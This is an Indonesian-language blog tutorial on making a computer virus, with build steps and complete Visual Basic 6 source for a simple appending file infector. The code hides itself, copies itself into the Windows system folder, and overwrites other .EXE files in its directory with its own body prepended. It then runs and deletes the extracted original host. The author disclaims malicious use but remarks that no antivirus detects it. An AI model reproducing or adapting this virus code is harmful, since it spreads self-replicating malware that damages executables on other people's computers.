Cara membuat Virus

kali ini saya akan mengajarkan cara membuat virus.
virus yang saya ajarkan tidak terlalu berbahaya,tapi jangan digunakan untuk dijalankan ke Pc teman anda.
karena virus yang saya ajarkan berbentuk EXE jadi aman kalau tidak dijalankan.

Program yang diperlukan: Microsoft Visual Basic 6.0 bagi yang belum punya bisa mendownload di 4shared

Steps membuat virus:

1. Buka MS visual basic 6.0
2. Pilih standard EXE
3.  
4. Lalu klik View Code yang ada digambar ^atas ^ .
5. lalu masukkan code Ini:'------------------------------------------------------
   ' M4R : Model 1
   ' Virus file sederhana
   '-----------------------------------------------------
   
   Option Explicit
   
   Private victim As String
   Private myarray As String
   Private varray As String
   Private Length As Long
   Dim chck As String * 1
   Const Size As Long = 32768
   Private iResult As Long
   Private hProg As Long
   Private idProg As Long
   Private iExit As Long
   Const STILL_ACTIVE As Long = &H103
   Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
   
   Private Declare Function OpenProcess Lib "kernel32" _
   (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _
   ByVal dwProcessId As Long) As Long
   Private Declare Function GetExitCodeProcess Lib "kernel32" _
   (ByVal hProcess As Long, lpExitCode As Long) As Long
   Private Declare Function CloseHandle Lib "kernel32" _
   (ByVal hObject As Long) As Long
   
   
   Private Sub form_load()
   Me.Visible = False
   App.TaskVisible = False
   On Error Resume Next
   Call main
   End Sub
   
   
   Sub main()
   On Error Resume Next
   
   Dim i As Long
   Dim Free
   Free = FreeFile
   Dim target
   Dim fso, sysfolder, winfolder
   
   
   Set fso = CreateObject("scripting.filesystemobject")
   Set sysfolder = fso.GetSpecialFolder(1)
   Set winfolder = fso.GetSpecialFolder(0)
   
   FileCopy App.Path & "\" & App.EXEName & ".exe", sysfolder & "\" & "wbdbass.nl"
   
   Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
   myarray = Space$(Size)
   Get #1, 1, myarray
   Close #Free
   
   ChDrive App.Path
   ChDir App.Path
   
   victim = Dir(App.Path & "\" & "*.EXE")
   
   While victim <> ""
   If LCase(App.Path & "\" & App.EXEName & ".exe") _
   <> LCase(App.Path & "\" & victim) Then
   
   Open victim For Binary Access Read As #Free
   varray = Space$(LOF(Free))
   Get #1, 1, varray
   Close #Free
   
   
   Open victim For Binary Access Read As #Free
   Debug.Print varray
   Seek #1, LOF(Free)
   chck = Space$(1)
   Debug.Print varray
   Get #1, , chck
   Close #Free
   
   If LCase(chck) <> "." Then
                             
   
   Open victim For Binary Access Write As #Free
   Put #Free, 1, myarray
   Put #Free, Size, varray
   Put #Free, LOF(Free) + 1, "."
   Close #Free
   
   End If
   
   Else
   End If
   
   victim = Dir()
   
   Wend
   
   
   Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
   Length = (LOF(Free) - Size)
                              
   If Length > 0 Then
                              
   myarray = Space(Length)
   Get #Free, Size, myarray
   Close #Free
   
   Open App.Path & "\" & App.EXEName & ".dll" For Binary Access Write As #Free
   Put #Free, , myarray
   Close #Free
   
   SetAttr App.Path & "\" & App.EXEName & ".dll", vbHidden + vbSystem
   
   idProg = Shell(App.Path & "\" & App.EXEName & ".dll", vbNormalFocus)
                                  
   hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
                                  
   GetExitCodeProcess hProg, iExit
   
   Do While iExit = STILL_ACTIVE
   DoEvents
   GetExitCodeProcess hProg, iExit
   Loop
   On Error Resume Next
   SetAttr App.Path & "\" & App.EXEName & ".dll", vbNormal
   Kill App.Path & "\" & App.EXEName & ".dll"
   
   Else
   Close #Free
   End If
   
   End
   End Sub
   
6. setelah itu klik file -> MakeProject.Exe-> taruh difile yang tidak ada data lainnya misalnya di newfolder yang kosong agar kalau dijalankan tidak menyebar cepat.
   nah Itu lah cara membuat virus sederhana mohon jangan digunakan untuk kejahatan,saya membuat ini agar anda mengetahui bagaimana struktur virus yang sebenarnya.(^_^).ingat jangan digunakan untuk keusilan karena belum ada antivirnya